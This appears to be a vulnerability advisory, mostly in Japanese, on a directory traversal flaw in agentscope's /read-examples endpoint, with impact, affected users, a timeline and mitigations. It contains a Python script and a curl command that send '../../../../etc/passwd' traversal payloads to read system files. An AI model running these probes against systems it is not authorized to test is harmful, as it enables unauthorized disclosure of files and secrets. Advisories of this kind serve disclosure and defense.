modelscope/agentscope におけるディレクトリトラバーサル

この脆弱性を悪用されると、攻撃者はmodelscope/agentscopeを実行しているシステム上の任意のJSONファイルを読み取ることができます。これにより、APIキー、データベース接続文字列、その他の機密情報が漏洩する可能性があります。攻撃者は、この情報を使用して、システムへのさらなるアクセス権を取得したり、他のシステムへの攻撃を開始したりする可能性があります。特に、JSONファイルに機密情報が保存されている場合、この脆弱性の影響は甚大です。この脆弱性は、機密情報の漏洩、システムへの不正アクセス、さらにはシステム全体の制御喪失につながる可能性があります。

Organizations using modelscope/agentscope in their Python applications, particularly those deploying it in environments where sensitive data is stored as JSON files, are at risk. This includes developers integrating agentscope into their AI workflows and those using it in shared hosting environments where file system access might be less restricted.

• python / server:

import requests

url = 'http://your-target-server/read-examples'
payload = {'file': '..//../../../../etc/passwd'}

response = requests.post(url, data=payload)

if 'root:' in response.text:
    print('Potential vulnerability detected!')
else:
    print('No vulnerability detected.')

• generic web:

curl -X POST http://your-target-server/read-examples -d 'file=../../../../etc/passwd' | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. 予約済み2024-09-06
2. 公開日2025-03-20
3. 更新日2025-10-15
4. EPSS 更新日2026-04-02

公式な修正が提供されていないため、一時的な緩和策として、/read-examplesエンドポイントへのアクセスを制限することを推奨します。ファイアウォールまたはプロキシサーバーを使用して、信頼できないソースからのリクエストをブロックすることができます。また、入力の検証を強化し、ディレクトリトラバーサル攻撃を防ぐためのサニタイズ処理を実装することも有効です。WAF（Web Application Firewall）のルールを調整し、悪意のあるリクエストを検知・ブロックするように設定することも検討してください。アクセスログを監視し、異常なアクセスパターンを検出することも重要です。修正版のリリースを注視し、利用可能になり次第速やかに適用してください。